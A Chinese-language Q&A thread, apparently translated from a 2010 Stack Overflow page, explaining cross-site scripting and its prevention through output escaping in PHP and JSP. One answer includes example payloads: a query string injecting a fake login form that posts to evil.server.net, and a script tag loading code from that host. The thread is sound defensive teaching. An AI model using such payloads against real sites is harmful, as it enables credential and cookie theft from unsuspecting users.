20

跨站点脚本 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞，它使恶意攻击者能够将客户端脚本注入其他用户查看的网页中。攻击者可以利用被利用的跨站脚本漏洞绕过同源策略等访问控制。截至 2007 年，赛门铁克记录的所有安全漏洞中大约有 80% 是在网站上执行的跨站点脚本。

好吧，这是否意味着黑客在访问具有未转义输入的合法站点时制作了一些恶意 JS/VBscript 并将其传递给毫无戒心的受害者？

我的意思是，我知道 SQL 注入是如何完成的......

我特别不明白 JS/VBscript 怎么会造成这么大的伤害！我认为它们只在浏览器中运行，但显然损害范围从键盘记录到 cookie 窃取和木马。

我对 XSS 的理解正确吗？如果没有，有人可以澄清吗？

如何防止 XSS 在我的网站上发生？这似乎很重要；80% 的安全漏洞意味着它是危害计算机的极其常见的方法。

4

5 回答 5

23

由于已经给出了关于 XSS 如何是恶意的答案，我将只回答以下未回答的问题：

如何防止 XSS 在我的网站上发生？

至于防止 XSS，您需要在页面上重新显示任何 用户控制的输入时对它们进行 HTML 转义。这包括请求标头、请求参数和要从数据库提供的任何存储的用户控制输入。尤其是<, >,"和'需要转义，因为它会使重新显示此输入的周围 HTML 代码变形。

几乎所有视图技术都提供了转义 HTML（或 XML，这也足够了）实体的内置方法。

在 PHP 中，您可以使用htmlspecialchars(). 例如

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

如果您还需要转义单引号，则需要提供ENT_QUOTES参数，另请参阅前面链接的 PHP 文档。

在 JSP 中，您可以使用 JSTL<c:out>或fn:escapeXml(). 例如

<input name="foo" value="<c:out value="${param.foo}" />">

或者

<input name="foo" value="${fn:escapeXml(param.foo)}">

请注意，您实际上不需要在请求处理期间转义 XSS，而只需要在响应处理期间。不需要在请求处理期间进行转义，它迟早可能会导致用户输入错误（作为站点管理员，您还想知道相关用户实际输入的内容，以便您可以在必要时采取社交行动）。对于 SQL 注入，只需要在数据即将被持久化到数据库的那一刻，在请求处理过程中进行转义即可。

于 2010-02-09T22:49:48.317 回答
22

直截了当的 XSS

  1. 我发现 Google 存在 XSS 漏洞。
  2. 我编写了一个脚本来重写公共 Google 页面，使其看起来与实际的 Google 登录完全一样。
  3. 我的虚假页面提交到第三方服务器，然后重定向回真实页面。
  4. 我得到谷歌帐户密码，用户不知道发生了什么，谷歌不知道发生了什么。

XSS 作为CSRF的平台（据说这确实发生了）

  1. 亚马逊有一个 CSRF 漏洞，其中“始终让我登录”cookie 允许您将条目标记为攻击性条目。
  2. 我在一个高流量站点上发现了一个 XSS 漏洞。
  3. 我编写了一个 JavaScript 来访问 URL，以将所有由同性恋作者在亚马逊上撰写的书籍标记为冒犯性的。
  4. 对于亚马逊来说，他们从带有真实身份验证cookie的真实浏览器中获取有效请求。所有的书一夜之间就从网站上消失了。
  5. 互联网吓坏了。

XSS 作为Session Fixation攻击的平台

  1. 我发现一个电子商务站点在登录后不会重置会话（就像任何 ASP.NET 站点一样），能够通过查询字符串或 cookie 传递会话 ID，并将身份验证信息存储在会话中（很常见）。
  2. 我在该站点的一个页面上发现了一个 XSS 漏洞。
  3. 我编写了一个脚本，将会话 ID 设置为我控制的那个。
  4. 有人点击了该页面，并撞到了我的会话。
  5. 他们登录。
  6. 我现在有能力像他们一样做任何我想做的事情，包括购买带有保存卡的产品。

这三个是大的。XSS、CSRF 和 Session Fixation 攻击的问题在于，它们非常非常难以追踪和修复，而且非常容易允许，尤其是在开发人员对它们不太了解的情况下。

于 2010-02-09T23:01:12.657 回答
7

我不明白 JS/VBscript 如何造成如此大的损害！

行。假设您有一个站点，并且该站点是从http://trusted.server.com/thesite. 假设这个网站有一个搜索框，当你搜索 url 时变成：http://trusted.server.com/thesite?query=somesearchstring。

如果站点决定不处理搜索字符串并将其输出到结果中，例如“您搜索“somesearchstring”没有产生任何结果，那么任何人都可以将任意 html 注入站点。例如：

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

因此，在这种情况下，该站点将尽职尽责地在搜索结果页面上显示一个虚假的登录表单，如果用户提交它，它会将数据发送到邪恶的不受信任的服务器。但是用户没有看到，尤其是。如果 url 真的很长，他们只会看到第一个但是，并假设他们正在处理trusted.server.com。

对此的变体包括注入一个<script>标签，将事件处理程序添加到文档中以跟踪用户的操作，或将文档 cookie 发送到恶意服务器。通过这种方式，您可能会遇到敏感数据，例如登录名、密码或信用卡数据。或者您可以尝试插入一个<iframe>占据整个客户端窗口的特殊样式，并为一个看起来像原始但实际上来自 evil.server.com 的站点提供服务。只要用户被欺骗使用注入的内容而不是原始内容，安全性就会受到损害。

这种类型的 XSS 称为反射型和非持久性。反射，因为 url 直接在响应中“relected”，非持久，因为实际站点没有改变 - 它只是作为一个传递。请注意，像 https 这样的东西在这里没有提供任何保护 - 站点本身已损坏，因为它通过查询字符串模仿用户输入。

现在的诀窍是让毫无戒心的用户相信你给他们的任何链接。例如，您可以向他们发送一封 HTML 电子邮件，并包含一个看起来很吸引人的链接，该链接指向伪造的 url。或者您也可以在 wiki、论坛等上传播它。我相信您会体会到它是多么简单——它只是一个链接，可能会出什么问题，对吧？

有时情况可能更糟。有些网站实际上存储用户提供的内容。简单的例子：博客上的评论或论坛上的话题。或者它可能更微妙：社交网络上的用户个人资料页面。如果这些页面允许任意 html，尤其是。脚本，并且这个用户提供的 html 被存储和复制，那么每个简单地访问包含这个内容的页面的人都处于危险之中。这是持久性 XSS。现在用户甚至不再需要点击链接，只需访问就足够了。同样，实际攻击包括通过脚本修改页面以捕获用户数据。

脚本注入可以是生硬的，例如，可以插入一个完整的<script src="http://evil.server.net/script.js">，也可以是微妙的：<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

至于如何保护自己：关键是永远不要输出用户输入。如果您的网站围绕用户提供的带有标记的内容，这可能会很困难。

于 2010-02-09T22:47:06.827 回答
6

想象一个网络论坛。XSS 攻击可能是我用一些 javascript 发帖。当您浏览到页面时，您的网页将加载并运行 js 并按我说的做。当您浏览到该页面并且很可能已登录时，我的 javascript 将执行您有权执行的任何操作，例如发帖、删除您的帖子、插入垃圾邮件、显示弹出窗口等。

所以 XSS 的真正概念是脚本在你的用户上下文中执行，这是一种权限提升。您需要注意应用程序中接收用户输入的任何位置都会转义其中的任何脚本等，以确保无法完成 XSS。

你必须注意二次攻击。想象一下，如果我将恶意脚本放入我的用户名中。这可能会未经检查进入网站，然后在未经检查的情况下写回，但随后使用我的用户名查看的任何页面实际上都会在您的用户上下文中执行恶意脚本。

转义用户输入。不要滚动您的代码来执行此操作。检查一切进入，一切都出来。

于 2010-02-09T22:47:48.957 回答
1

XSS 攻击的问题与钓鱼有关。问题是客户信任的网站可能会被注入代码，这些代码会导致攻击者出于某种目的而制作的网站。例如，窃取敏感信息。

因此，在 XSS 攻击中，被入侵者不会进入您的数据库，也不会乱用它。他正在玩弄客户的感觉，即该站点是安全的，并且其上的每个链接都指向安全的位置。

这只是真正攻击的第一步——将客户带入敌对环境。

我可以给你一个简单的例子。例如，如果银行机构在他们的页面上放置了一个喊话框，并且他们没有阻止我遭受 XSS 攻击，我可以喊“嘿，来这个链接，输入密码和信用卡号以进行安全检查！” ...而且您知道此链接将通向何处，对吗？

您可以通过确保不在页面上显示任何来自用户输入而不转义 html 标签的内容来防止 XSS 攻击。特殊字符应该被转义，这样它们就不会干扰您的 html 页面（或您使用的任何技术）的标记。有很多库提供此功能，包括 Microsoft AntiXSS 库。

于 2010-02-09T22:38:13.223 回答